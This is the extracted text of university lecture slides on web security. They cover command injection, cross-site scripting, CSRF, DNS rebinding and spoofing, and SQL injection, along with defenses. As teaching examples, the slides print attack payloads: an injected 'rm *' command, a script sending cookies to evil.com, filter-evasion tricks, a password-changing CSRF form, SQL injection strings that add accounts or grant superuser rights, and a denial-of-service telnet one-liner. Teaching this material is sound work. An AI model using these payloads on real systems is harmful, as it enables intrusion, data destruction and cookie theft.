Web Security

Tadayoshi Kohno

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Goals for today

- Web security (continued)
General issue: Inadequate Input Validation

- copy.php includes
  \[
  \text{system("cp temp.dat } \$\text{name.dat")}
  \]
- User calls
  http://victim.com/copy.php?name="a; rm *"
- copy.php executes
  \[
  \text{system("cp temp.dat a; rm *")};
  \]
JavaScript

- Language executed by browser
  - Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page
- Often used to exploit other vulnerabilities
  - Attacker gets to execute some code on user’s machine
- Cross-site scripting:
  - Attacker inserts malicious JavaScript into a Web page or HTML email; when script is executed, it steals user’s cookies and hands them over to attacker’s site
JavaScript Security Model

- **Script runs in a “sandbox”**
  - Not allowed to access files or talk to the network

- **Same-origin policy**
  - Can only read properties of documents and windows from the same server, protocol, and port
  - If the same server hosts unrelated sites, scripts from one site can access document properties on the other

- **User can grant privileges to signed scripts**
  - UniversalBrowserRead/Write, UniversalFileRead, UniversalSendMail
Risks of Poorly Written Scripts

For example, echo user’s input

HTTP://NAIVE.COM/SEARCH.PHP?TERM="Security is Happiness"

Search.php responds with
<html> <title>Search results</title> 
<body>You have searched for <?php echo $_GET['term'] ?>… </body>

Or

GET/ HELLO.CGI?NAME=Bob
Hello.cgi responds with
<html>Welcome, dear Bob</html>
Stealing Cookies by Cross Scripting

Access some web page

<FRAME SRC=http://naive.com/hello.cgi?
name=<script>win.open("http://evil.com/steal.cgi?
cookie="+document.cookie)
</script>>

Forces victim’s browser to call hello.cgi on naive.com with script instead of name

GET/ hello.cgi?name=
<script>win.open("http://
evil.com/steal.cgi?cookie="+
document.cookie"></script>

<html>Hello, dear
<script>win.open("http://
evil.com/steal.cgi?cookie="+
document.cookie"></script>
Welcome!</html>

Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com

For example, embed URL in HTML email

Access some web page

GET/ steal.cgi?cookie=

evil.com

victim’s browser

naive.com
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does **not** allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ...but does allow `<div>` tags for CSS.
  - `<div style="background:url('javascript:alert(1)')">`
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    `alert('double quote: ' + String.fromCharCode(34))`
Resulting code:

```javascript

MySpace Worm (2)

http://namb.la/popular/tech.html

```
MySpace Worm (3)

“There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of interest. It was interesting and fun!”

- Started on “samy” MySpace page
- Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero
- 5 hours later “samy” has 1,005,831 friends
  - Was adding 1,000 friends per second at its peak
- Not an XSS attack

http://namb.la/popular/tech.html
XSS Defenses

◆ Constantly evolving landscape
  • http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

◆ Defense in depth
  • Input validation
  • Escaping -- characters treated as data, not characters that are relevant to the interpreter’s parser
    – OWASP ESAPI (Enterprise Security API) (escaping library)
    – Microsoft AntiXSS (escaping library)

◆ First rule:
  • Don’t put untrusted data into HTML documents unless you escape (or know what you’re doing)
XSS Defenses

- `<body> .... ESCAPE UNTRUSTED DATA ... </body>`
  - Escape `,`, `<`, `>`, `"`, `'`, `/`
- `String safe=ESAPI.encoder().encodeForHTML(request.getParameter("input"));`

- HTTPOnly cookie: cookie only transmitted over HTTP, not accessible via JavaScript
  - Defense in depth (not supported by all browsers)

Cross Site Request Forgery

- Websites use cookies to authenticate you.
- Malicious website can initiate an action as you to a good website
  - Your cookie for the good website would be sent along with the request
  - Good website executes that action, thinking it was you
Changing Password with CSRF

For example, embed URL in HTML email

Access some web page

<form ... action="https://good.com/update_acct"> <input name="passwd" value="owned"/></form>

<script> (submit form) </script>

Forces victim’s browser to submit a form to good.com. In that form is a new password.

GET/ update_acct.cgi ... with "passwd=owned" and cookie

users password changed to "owned"
**CSRF defenses**


- Use a Synchronizer Token Pattern.
  - Generate random “challenge” token associated with user’s session
  - Insert into HTML forms and links associated with sensitive server-side operations.
  - HTTP request should include this challenge token.
  - Server should verify the existence and correctness of this token.
CSRF defenses

- Example of Synchronizer Token Pattern
  - `<form action="/transfer.do" method="post">`
  - `<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTIhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTViMGYwMGEwOA=="`>
  - `...`
  - `</form>`

- Careful if use GET (URL) requests: may appear in browser histories, logs

- Careful with using cookie as token: Doesn’t mix with HTTPOnly; may increase exposure of cookie
Login CSRF

- Attacker can use CSRF to log you into their account

Why?

- Search engines can store search history; force user to log into attackers account; attacker can monitor user’s searches
- Paypal: enter credit card number into attacker’s account
History Stealing

- Pages in web browser are colored differently based on whether you have visited them or not.
- Attacker can exploit this to figure out what web pages you have visited.

Example:
- http://ha.ckers.org/weird/CSS-history-hack.html (for Firefox)
- http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
- Other examples are a bit more “directed”...
DNS Rebinding

◆ JavaScript same-origin policy
  • Can only read properties of documents and windows from the same server, protocol, and port

◆ But can an attacker change the server?
  • Yes! If an attacker can control DNS (Domain Name Service)
DNS: Domain Name Service

DNS maps symbolic names to numeric IP addresses (for example, www.cs.washington.edu ↔ 128.208.3.88)
DNS Caching

- DNS responses are cached
  - Quick response for repeated translations
  - Other queries may reuse some parts of lookup
    - NS records for domains

- DNS negative queries are cached
  - Don’t have to repeat past mistakes
    - For example, misspellings

- Cached data periodically times out
  - Lifetime (TTL) of data controlled by owner of data
  - TTL passed with every record
Cached Lookup Example

Client → Local DNS recursive resolver

ftp.cs.washington.edu → root & edu DNS server

ftp.cs.washington.edu → washington.edu DNS server

ftp.cs.washington.edu → cs.washington.edu DNS server
DNS Vulnerabilities

- DNS host-address mappings are not authenticated
- DNS implementations have vulnerabilities
  - Reverse query buffer overrun in old releases of BIND
    - Gain root access, abort DNS service...
  - MS DNS for NT 4.0 crashes on chargen stream
    - telnet ntbox 19 | telnet ntbox 53
- Denial of service is a risk
  - If can’t use DNS ... can’t use the “Internet”
- Just recently (summer 2010) DNSSEC starting to be deployed
Reverse DNS Spoofing

- Trusted access is often based on host names
  - E.g., permit access to website from all .cs.washington.edu IPs

- Network requests such as Web or ssh arrive from numeric source addresses
  - System performs reverse DNS lookup to determine requester’s host name and checks if it’s in .htaccess

- If attacker can spoof the answer to reverse DNS query, he can fool target machine into thinking that request comes from an authorized host
  - No authentication for DNS responses and typically no double-checking (numeric → symbolic → numeric)
Other DNS Risks

- **DNS cache poisoning**
  - False IP with a high time-to-live will stay in the cache of the DNS server for a long time
  - Basis of pharming

- **Spoofed ICANN registration and domain hijacking**
  - Authentication of domain transfers based on email addr
  - Aug ’04: teenager hijacks eBay’s German site
  - Jan ’05: hijacking of panix.com (oldest ISP in NYC)
    - "The ownership of panix.com was moved to a company in Australia, the actual DNS records were moved to a company in the United Kingdom, and Panix.com's mail has been redirected to yet another company in Canada."

- **Misconfiguration and human error**
Network Solutions Under Large Scale DDoS Attack, Millions of Websites Potentially Unreachable

Jan 23, 2009 2:55 PM PST | Comments: 0 | Views: 10,429

By CircleID Reporter

Update Received from Network Solutions Jan 23, 2009 7:27PM PST

"DNS queries for web sites should be responding normally. Thank you all for your understanding. As always, we will continue to work to take measures to prevent these and other types of technical issues caused by third parties that may impact our customers."
JavaScript/DNS Intranet attack (I)

- Consider a Web server intra.good.net
  - IP: 10.0.0.7, inaccessible outside good.net network
  - Hosts sensitive CGI applications
- Attacker at evil.org gets good.net user to browse www.evil.org
- Places Javascript on www.evil.org that accesses sensitive application on intra.good.net
  - This doesn’t work because Javascript is subject to “same-origin” policy
  - ... but the attacker controls evil.org DNS
JavaScript/DNS Intranet attack (II)

1. good.net browser

2. Lookup www.evil.org
   - 222.33.44.55 – short ttl

3. GET /, host www.evil.org

4. Response

5. Lookup www.evil.org

6. Response – 10.0.0.7

7. POST /cgi/app, host www.evil.org

8. Response – compromise!

9. Intra.good.net 10.0.0.7
User Data in SQL Queries

- set UserFound=execute(
  SELECT * FROM UserTable WHERE
  username=’’ & form("user") & "' AND
  password=’’ & form("pwd") & "' ''
);  
- User supplies username and password, this SQL query checks if user/password combination is in the database.

- If not UserFound.EOF
  Authentication correct
else Fail

- (Notation approximate, to focus on key issues)
SQL Injection

- User gives username ' OR 1=1 --
- Web server executes query

```sql
set UserFound=execute(
    SELECT * FROM UserTable WHERE
    username=' ' OR 1=1 -- ...
);
```

- This returns the entire database!
- UserFound.EOF is always false; authentication is always "correct"

Always true!
Everything after -- is ignored!
It Gets Better (or Worse?)

- User gives username
  ```
  'exec cmdshell 'net user badguy badpwd' / ADD --
  ```
- Web server executes query
  ```
  set UserFound=execute(
      SELECT * FROM UserTable WHERE
      username=' ' exec ... -- ... );
  ```
- Creates an account for badguy on DB server
/* php-files/lostpassword.php */
for ($i=0; $i<=7; $i++)
    $new_pass .= chr(rand(97,122))
...
$result = dbquery("UPDATE \$db_prefix\"users
    SET user_password=md5(''$new_pass\')
    WHERE user_id='".$data[\'user_id\']." \"");

In normal execution, this becomes
UPDATE users SET user_password=md5('?????????')
WHERE user_id='userid'

Creates a password with 7 random characters, assuming $new_pass is set to NULL

SQL query setting password in the DB
Exploit

User appends this to the URL:
&new_pass=badPwd%27%29%2c
user_level=%27103%27%2cuser_aim=%28%28

SQL query becomes
UPDATE users SET user_password=md5('badPwd')
user_level='103', user_aim=('????????')
WHERE user_id='userid'

This sets $new_pass to badPwd'), user_level='103', user_aim=('????????')

User’s password is set to ‘badPwd’

... with superuser privileges
HI, THIS IS YOUR SON'S SCHOOL. WE'RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR—DID HE BREAK SOMETHING?

IN A WAY—

DID YOU REALLY NAME YOUR SON Robert'; DROP TABLE Students;--?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE'VE LOST THIS YEAR'S STUDENT RECORDS. I HOPE YOU'RE HAPPY.

AND I HOPE YOU'VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.

http://xkcd.com/327/
Dangerous Websites

2006 “Web patrol” study at Microsoft identified 752 unique URLs that could successfully exploit unpatched Windows XP machines

- Many are interlinked by redirection and controlled by the same major players

“But I never visit risky websites”

- 11 exploit pages are among the top 10,000 most visited
- Common trick: put up a page with popular content, get into search engines, page redirects to the exploit site
  - One of the malicious sites was providing exploits to 75 “innocuous” sites focusing on (1) celebrities, (2) song lyrics, (3) wallpapers, (4) video game cheats, and (5) wrestling

Similar study at UW

Now through emails and ads